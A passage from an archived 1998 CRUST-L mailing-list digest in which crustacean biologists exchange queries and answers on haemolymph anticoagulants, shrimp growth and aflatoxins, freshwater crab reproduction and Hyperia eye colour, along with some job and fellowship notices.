ph 4.6 Soderhall, K., & Smith, V. J. (1983). Separation of the haemocyte population of Carcinus maenus and other marine decapods, and prophenoloxidase distribution. Dev.Comp.Immunol., 7, 229-239. I also used another version with the same ingredients but used 25mmol caffine instead of EDTA. 1/2 to 1/3 fill a syringe with chilled anti-coagulant (but leave a small bubble) and then take up haemolymph from an animal at the same temperature. The bubble can then be used to gently mix the haemolymph and anticoagulant. + + + + + + + + + + + + + + + + + + + + + + + Magnus L. Johnson, Department of Biology, University of Leicester, Leicester, LE1 7RH, U.K. see : 'http://www.le.ac.uk/biology/research/blpgs.html#magnus' and : 'http://www.geocities.com/CapeCanaveral/Hangar/5577/' email : mlj2@le.ac.UK Tel : 0116 252 3353/2 \\\/----<==>-----\/// [>{|||||||x: :x||||||}<] ///\----<==>-----/\\\ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: lucifer@prtc.net (lucifer) Date: Sat, 24 Jan 1998 20:34:18 -0800 Subject: CRUST-L: INFORMATION Hi! I need information (taxonomic, distribution and photos) about Potimirim shrimps. This genus belong to Atyiade family. Thanks; Omar Perez Reyes University of Puerto Rico Department of Biology PO BOX 23360 San Juan PR 00931-3360 Tel: 787-764-0000; ext. 4898 e-mail: operez@rrpac.upr.clu edu or lucifer@prtc.net =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Isam Date: Sun, 25 Jan 1998 13:53:20 +0200 Subject: CRUST-L: tissue cultur medium in crayfish Hello Crusters=20 I am trying to establish testis culture experiment In a crayfish. Does = any one know about medium or mediums that have been tested in = crayfishes, or any other idea related to this issue. =20 Thanks in advanced=20 Yours Isam =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Sun, 25 Jan 1998 09:39:04 -0500 (EST) Subject: CRUST-L: thanks from Ismeni Walter I don't normally pass on these bounces, but thought some of you might appreciate this. Cheers, Jeff - ---------- Forwarded message ---------- Date: Sat, 24 Jan 1998 16:49:03 -0800 From: Ismeni Walter Subject: thanks Dear crust-lers, thanks for all the interesting and helpful contributions to our lobster fishery-request. You=B4ve been a great help! Cheers, Ismeni and Iris Ismeni Walter Iris Ulrich Biologische Anstalt Helgoland Biologische Anstalt Helgoland Meeresstation Meeresstation 27498 Helgoland 27498 Helgoland GERMANY GERMANY tel. ++49-4725-819-321 tel. ++49-4725-819-244 fax. ++49-4725-819-369 fax. ++49-4725-819-369 e-mail: iwalter@mail.desy.de e-mail: lobster@compuserve.com =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "MARES JOHAN" Date: Sun, 25 Jan 1998 19:24:08 +0100 Subject: CRUST-L: Marine sightings of the Belgian coast Hi all, The list with recent marine sightings of the Belgian coast has been updated. Homepage of the Beachworkgroup : the organisation for marine biology in Belgium. http://www.ping.be/tadorna Homepage van de Strandwerkgroep : de vereniging voor mariene biologie in Belgi=EB. De lijst met recente mariene waarnemingen werd aangepast. ing. Johan Mares e-mail : Johan.Mares@ping.be url : http://www.ping.be/tadorna ************************************************** ************ | Belief is a force. It's a weak force, by comparison | | with gravity; when it comes to moving mountains, | | gravity wins every time. (Terry Pratchett) | ************************************************** ************ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Eric De Muylder Date: Mon, 26 Jan 1998 08:58:33 +0100 Subject: Re: CRUST-L: cadiosoma Dear Jari, The species you are mentioning is probably of the genus Cardisoma instead of cadiosoma or cardiosoma. Anyway, I would appreciate to receive a copy of the picture, Thanks and best regards, Eric De Muylder vds.bvba@skynet.be =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "Judy P. Stout" Date: Mon, 26 Jan 1998 09:52:58 -0600 (CST) Subject: CRUST-L: Graduate fellowships available The University of South Alabama invites applications for their graduate program in Marine Sciences. Several Masters and Ph.D fellowships are available that include a stipend and tuition. The deadline is April 1, 1998. The research areas of the faculty include, fisheries science, biomechanics, chemical oceanography, biological oceanography, zooplankton ecology, coral reef ecology, seagrass ecology, invertebrate reproduction, invertebrate biology, trophic ecology, wetlands ecology, biogeochemistry, nutrient dynamics of estuarine systems, evolution and paleoecology of coral reefs. The student will spend the majority of their time at the Dauphin Island Sea Lab. The primary research faculty are: Dr. Richard Aronson Dr. Jim Cowan Dr. Monty Graham Dr. Ken Heck Dr. Ron Kiene Dr. Jon Pennock Dr. Robert Shipp Dr. Judy Stout Dr. Florence Thomas Dr. John Valentine For further information on the faculty and facilities please see the Dauphin Island Sea Lab Web Page at http://sites.gulf.net/sealab. For a information about application procedure contact the department through Amada Gonzales (agonzale@jaguar1.usouthal.edu) 334- 460-7136 or the faculty through Dr. Florence Thomas 334-861-7544 (jaguar1.usouthal.edu). =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "Robin Fowler" Date: Tue, 27 Jan 1998 10:19:23 +1000 Subject: CRUST-L: EDTA as anticoagulant To those interested in using the EDTA method as an anticoagulant in crusts the refs are; McKay, D., Jenkin C. R. and Rowley, D. (1969) Immunity in the invertebrates. I. Studies on the naturally occuring haemagglutinins in the fluid from invertebrates. Aust. J. Exp. Biol. Med. Sci. 47. p125-134. McKay, D. and Jenkin C. R. (1970) Immunity in the invertebrates. The role of serum factors in phagocytosis of erythrocytes by haemocytes of the freshwater crayfish (Parachaeraps bicarinatus). Aust. J. Exp. Biol. Med. Sci. 48. p139-150. The first paper details the EDTA method the second a cysteine method. They state the second method is better for retaining cells. I found in Cherax destructor the best method was 0.1M EDTA in PBS as stated prevously. This method DOES kill the animal, perhaps trying with just the EDTA in the syringe may work - and would not kill the animal? ________________________________________________________________________________ Mr Robin Fowler Aquaculture Research Unit, RMIT University, Melbourne, Victoria, Australia ________________________________________________________________________________ S-mail RMIT, Department of Applied Biology, GPO Box 2476V, Melbourne, Vic, 3001 E-mail fowler@minyos.its.rmit.edu.au robin.fowler@rmit.edu.au WWW http://minyos.its.rmit.edu.au/~fowler Fax 61 (03) 9662 3421 Ph 61 (03) 9660 2475 ________________________________________________________________________________ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ End of crust-l-digest V1 #117 ***************************** From owner-crust-l-digest@vims.eduFri Mar 13 11:17:47 1998 Date: Wed, 4 Feb 1998 10:32:47 -0500 From: owner-crust-l-digest@vims.edu Reply to: crust-l@vims.edu To: crust-l-digest@vims.edu Subject: crust-l-digest V1 #118 crust-l-digest Wednesday, 4 February 1998 Volume 01 : Number 118 CRUST-L: info list CRUST-L: Osmolality of embryonic fluvids of Cherex destructor CRUST-L: hemolymph sample from D. magna Re: CRUST-L: hemolymph sample from D. magna CRUST-L: The reproduction of freswater crabs CRUST-L: Duplicates papers and books CRUST-L: growth inhibiting factors for shrimp in semi-intensive culture CRUST-L: growth inhibiting factors CRUST-L: Faculty Positions CRUST-L: growth inhibiting factors for shrimp CRUST-L: Paleontologica electronica CRUST-L: Field work CRUST-L: RFI:eye-colour Hyperia CRUST-L: Re: eye-colour Hyperia CRUST-L: pelagic crustaceans Re: CRUST-L: Re: eye-colour Hyperia ---------------------------------------------------------------------- From: "Franz Goetz" Date: Wed, 28 Jan 1998 11:33:55 +0700 Subject: CRUST-L: info list info list Franz@idola.net.id =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Herath K Sujatha Herath Date: Thu, 29 Jan 1998 12:55:31 +1100 (EST) Subject: CRUST-L: Osmolality of embryonic fluvids of Cherex destructor I am looking for some information on extraembryonic fluvids and embryonic body fluvids of C. destructor, mainly the osmolality values. Extraembryonic fluvids: btween the vitelline membrane and the embryo or btween the vitelline membrane and the embryonic membrane or the embryonic membrane and the embryo. Please e-mail me hksh@minyos.its.rmit.edu.au Thank you Sujatha Herath Royal Melbourne Institute of Technology Dept. App. Biology and Biotechnology GPO BOX 2476V Melbourne 3001 Australia =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Pietari Paasonen Date: Thu, 29 Jan 1998 09:55:58 +0200 (WET) Subject: CRUST-L: hemolymph sample from D. magna Dear Crustlers, Does anybody know, what is the best way to take a hemolymph sample from the heart of Daphnia magna? We are going to measure some ionic constituents and osmolality of the hemolymph. Many thanks in advance! Pietari Paasonen Dept. Applied Zoology & Veterinary Medicine University of Kuopio P.O.B. 1627, SF-70211 Kuopio Finland e-mail:paasonen@hytti.uku.fi =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: John Campbell McNamara Date: Thu, 29 Jan 1998 08:34:38 +0000 Subject: Re: CRUST-L: hemolymph sample from D. magna Pietari, You will probably have to pull some capillary tubing to a fine tip (maybe <0.5 mm) and insert it through the carapace to aspirate a sample. You would want to keep the sample between water equilibrated oil droplets in the capillary to avoid evaporation effects if it is large and the sample very small (1 µl?). I presume you will use a visual freezing point reduction technique to estimate osmolality? Some vapour pressure osmometers use a 10-µl (or less) sample that you could aspirate directly with an autopipette into a pipette tip. I had limited success doing this with a very small shrimp. Regards, John McNamara ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ John Campbell McNamara mailto:jcmcnama@ffclrp.usp.br or @usp.br Biologia, FFCLRP, USP, Ribeirão Preto 14040-901, SP, Brasil Phone +55-16-602-3687 FAX +55-16-633-3666/602-5015 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jari Sandqvist Date: Fri, 30 Jan 1998 09:53:32 -0500 Subject: CRUST-L: The reproduction of freswater crabs Dear friends I would like to get some information concerning the reproduction of fresh water crabs. I read from an old DATZ (Die Aquarien und Terrarien Zeitung, Germany) that there is about 800 species of fresh water crabs (I hope I remember correct) and 600 of them belongs to the family Potamidae. In that article the author (I don't remember who: are you here maybe?) wrote that the species in the family Potamidae doesn't have larval stages. My queries: 1. Is the amount of 800 FW crab species correct? 2. What about the other families? Are they similar to Potamidae when speaking the reproduction without larval stages or does the other families include different ways to reproduct? 3. Some references where I can read more this kind of information? 4. Is here on the list someone I could ask some details of the reproduction of Terrapotamon abbotti? Thanks Jari sandqvist =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: propal@tin.it Date: Fri, 30 Jan 1998 14:28:30 +0100 Subject: CRUST-L: Duplicates papers and books Dear netters, I have a lot of crust literature (papers and popular books) duplicates or out of my main interests. I would like to give away and at the same way I would like recover money. To receive the list please send me a message. Best wishes and nice days to all Ciao from Italy Riccardo Giannuzzi-Savelli =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "Franz Goetz" Date: Fri, 30 Jan 1998 20:42:59 +0700 Subject: CRUST-L: growth inhibiting factors for shrimp in semi-intensive culture Hello crust List collegues, we are operating a farm in indonesia after rehabilitation. The project was typically overexploited formerly and now we are operating the farm along more sustainable production levels and applying polycultural concepts with integration of milkfish ( chanos chanos ) , grouper and other species. Wehave got a problem with our shrimp growth performance. Despite low stocking densities( 15-20animals per meter) , very strict selection of our Pl stocking material and I believe a very carefull water and feed management the growth of our stock is relatively slow and we experience a slow down of growth after we start applying artificial diets as supplement to rich natural feed . The animals appear to be healthy, guts are full, molting appears to be normal and survival rates better than expected. However we observe large variations in size during the animals growth. Is there anybody who could give info on growth inhibiting factors or feed components, there effects and detection in laboratory or field. what would be effects of fungus or mould infested feeds, are there growth inhibitors wich will not affect survival but performance only??? Franz A. Goetz & James Fernandez GAATE- Consultants and Management services =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "Sergio F. Nates" Date: Fri, 30 Jan 1998 11:19:06 -0600 Subject: CRUST-L: growth inhibiting factors Franz and James: Molds that could adversely affect shrimp feeds thus shrimp growth: _Aspergillus_, _Fusarium_ and _Penicillum_ One group of toxins that could affect growth: aflatoxins (mycotoxins) One toxin: Aflatoxin B Three references: Ostrowski-Meissner, H. T. et al. (1995). Sensitivity of the Pacific white shrimp, _Pennaeus vannamei_, to aflatoxin B. Aquaculture 131:155-164 Bautista, M. N. (1994). Aflatoxin B contamination of shrimp feeds and its effect on growth and hepatopancreas of pre-adult _Penaeus monodon_. J. Science Food and Agriculture 65:5-11 an old one: Wiseman, M. O. et al. (1982). Toxicity of aflatoxin B to penaeid shrimp. Applied and Environmental Microbiology 44:1479-81 Divakaran (1992) reported that levels of aflatoxin B greater than 50 ppb could affect shrimp growth (in _P. vannamei_) May be this information will help, Sergio "free-mold" Sergio F. Nates, Ph.D. Biology Department University of Southwestern Louisiana P.O. Box 42451 Lafayette, LA 70504 Phone (318)482-5230 FAX (318) 482-5834 e-mail LRN8889@usl.edu =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Neil Cumberlidge Date: Fri, 30 Jan 1998 14:53:22 -0400 Subject: CRUST-L: Faculty Positions Biology Faculty Positions Northern Michigan University Biology Department invites applications to fill three faculty positions beginning August, 1998. While four descriptions are presented below, it is anticipated that one position will be filled by a new Department Head. Probable teaching assignments are indicated. All positions require the Ph.D. and are tenure-earning. Northern Michigan University, the major comprehensive institution of higher education in the Upper Peninsula of Michigan, is located in the City of Marquette (population 22,000) on the shores of Lake Superior and has a faculty of 317, a student population of about 8,000 students, and a campus of 323 acres. The University's setting offers numerous opportunities for field studies designed to take advantage of the Upper Peninsula's vast array of terrestrial and freshwater habitats, including the limnology of Lake Superior. Faculty and students will enjoy state of the art laboratory facilities upon completion of the $47 million renovation and expansion of the Glenn T. Seaborg Center Complex. Application review begins 3/1/98 and continues until positions are filled. Send curriculum vitae, statement of teaching and research philosophy, and names, addresses, telephone numbers, and e-mail addresses of three references to: Chair, Faculty Search Committee/Dept. Of Biology/1401 Presque Isle Avenue/ Marquette, MI 49855-5341 (906)227-2310 (voice) (906)227-1062(fax) biology@nmu.edu Entomology/Invertebrate Zoology (Assistant Professor) Broadly trained invertebrate zoologist with specialization in some aspect of ecology, evolution, morphology, or systematics. Teaching responsibilities include courses in entomology and invertebrate zoology; special consideration given to applicants also qualified to teach other courses such as Introductory Biology. Additional responsibility will be maintenance of an insect collection. Wildlife Biology (Assistant/Associate Professor) Broad expertise in wildlife ecology or related field. Teaching responsibilities include Wildlife Management, Ecology, and Population Ecology; special consideration given to applicants also qualified to teach Ornithology, Mammalogy, and Introductory Biology. Biology of Lower Plants (Assistant Professor) Broadly trained in botany with specialization in some aspect of ecology, evolution, morphology, or systematics of lower plants or fungi. Teaching responsibilities include Introductory Biology and Plant Kingdom; special consideration given to applicants also qualified to teach other biology courses including Microbiology. Developmental Plant Biology (Assistant Professor) Expertise in application of molecular techniques in study of plant development. Teaching responsibilities will include Introductory Biology and Plant Physiology; special consideration given to applicants also qualified to teach existing courses in genetics, developmental biology, and molecular biology. NMU is an AA/EOE *********************************************************************** Neil Cumberlidge, Ph.D. Professor of Zoology phone: (906) 227-2215 Department of Biology fax: (906) 227-1063 Northern Michigan University e-mail: ncumberl@nmu.edu Marquette, MI 49855-5376, USA http://www.nmu.edu/biology/cumberlidge.html =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "Franz Goetz" Date: Sat, 31 Jan 1998 20:35:19 +0700 Subject: CRUST-L: growth inhibiting factors for shrimp - --------- Forwarded Message Follows ------- Subject: CRUST-L: growth inhibiting factors for shrimp in semi-intensive culture Hello Franz & James, What species of shrimp are you culturing, P. monodon ? What amount of water exchange and/or aeration are you maintaining per hectare ? What are your pond dimensions ? And, yes, mouldy outdated feed 'will' impact on the growth rates. Can you tell me the approximate location of the farm in Indonesia and I might have some suggestions. Rehabilitation after disease problems ? If 'yes' your stocking densities might still be too high initially. Colin Answer to your letter: Dear Colin, To answer your questions, we are culturing P. monodon having 0,5 ha. ponds and using 2-3 paddle wheels depending on the biomass. Water exchange at 50% per week at the minimum. The location of the farm is on the northern coast of Java. The ponds we are using, have not been used as shrimp ponds before and the soil is still rich with organic matters from agricultural use, but not acid mangrove soil. In your letter, you mentioned the effect of mouldy feed on the growth rate. Because we are most certain that we are operating following good scientifically supported practical standarts, and all data are ranging in noncritical to good values, we suspect that the artificial feeds we are using to supplement the natural food base could be causing the slow growth. Could you possibly give some literature references regarding the impact of spoilt feeds? What would be toxins to look for and how are the laboratory procedures for their detection. Thanks! James & Franz GAATE Consulting & Fishfarming Services =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Magnus Date: Mon, 2 Feb 1998 12:38:47 +0100 (BST) Subject: CRUST-L: Paleontologica electronica A www page you might like to keep for future reference: http://www-odp.tamu.edu/paleo/index.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "jean-michel hurtel" Date: Tue, 03 Feb 1998 14:34:24 PST Subject: CRUST-L: Field work "Kyrimba", schooner 63 feet, 7 berths, cargo hold , 150 hp, long range. We can take on board scientists, students or anyone needing a boat for fieldwork or lodging in islands or remote areas. We are now in the Caribbean region and plan to go to the south Pacific. Regards J.M.Hurtel M.D. PhD. kyrimb@hotmail.com ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "Wim Vader" Date: Wed, 04 Feb 1998 09:26:20 +0100 Subject: CRUST-L: RFI:eye-colour Hyperia =09 This request is on behalf of Dr Piet de Wolf, Texel, Netherlands (pdw@nioz.nl), who is not on Crust-list. The jellyfish-associated amphipod Hyperia galba (Montagu) was described by Montagu as "eyes clear red when alive",and G.O.Sars, a good observer, also writes "eyes reddish-brown". On the other hand, Hardy figured Hyperia with green eyes, and also Schellenberg, in Tierwelt Deutschlands, writes categorically: Augen gr=FCn. The Hyperia studied by de Wolf in the Netherlands definitely have green eyes, and he now wonders, whether there is just confusion and uncritical copying in the literature, whether the eye colour may vary individually or with growth, or if there are maybe geographic differences. Many thanks in advance for your help in this matter, beit from direct observations or overlooked literature. Wim Vader, Troms=F8 Museum 9037 Troms=F8, Norway wim@imv.uit.no=09 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Magnus Date: Wed, 4 Feb 1998 22:49:15 +0100 (BST) Subject: CRUST-L: Re: eye-colour Hyperia In deepsea crustacea with superposition optics 'eyeshine' or 'eyeglow', the light remaining after it has passed through the rhabdom and been reflected off the tapetum, is generally orange because these animals usually have little in the way of shielding pigments (at night they look like the glowing end of lit cigarette). In shallow water or coastal species shielding pigments around the rhabdom may absorb some of the light and eyeshine will generally appear more red. Variations in eyeshine will be the result of variations in shielding pigment position and the efficiency with which the tapetum reflects particular colours o f light. This in turn will depend on the state of light adaptation of the animal. In light adapted specimens from coastal regions shielding pigments will surround the rhabdom, cutting down the amount of light reflected by the tapetum. The only light reflected will be the little that is reflected by the shielding pigments - this will be a dull red. I have seen green eyeshine in mesopelagic shrimps but this was after the animal had been pickled in saline formalin. Theoretically, the tapetum should be most efficient at reflecting green light (since this is the predominant colour below 10 m). If there were no rhabdoms in the way, perhaps an eye that had been damaged, maybe the reflected light would be green? Hope this helps, best wishes, Magnus + + + + + + + + + + + + + + + + + + + + + + + Magnus L. Johnson, Department of Biology, University of Leicester, Leicester, LE1 7RH, U.K. see : 'http://www.le.ac.uk/biology/research/blpgs.html#magnus' and : 'http://www.geocities.com/CapeCanaveral/Hangar/5577/' email : mlj2@le.ac.UK Tel : 0116 252 3353/2 \\\/----<==>-----\/// [>{|||||||x: :x||||||}<] ///\----<==>-----/\\\ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: jean.vannier@univ-lyon1.fr (Jean Vannier) Date: Thu, 5 Feb 1998 16:25:52 +0100 Subject: CRUST-L: pelagic crustaceans Dear Colleagues, I am working on the early colonization (Cambrian to Silurian) of pelagic niches by arthropods and I am currently looking for general information concerning the Recent 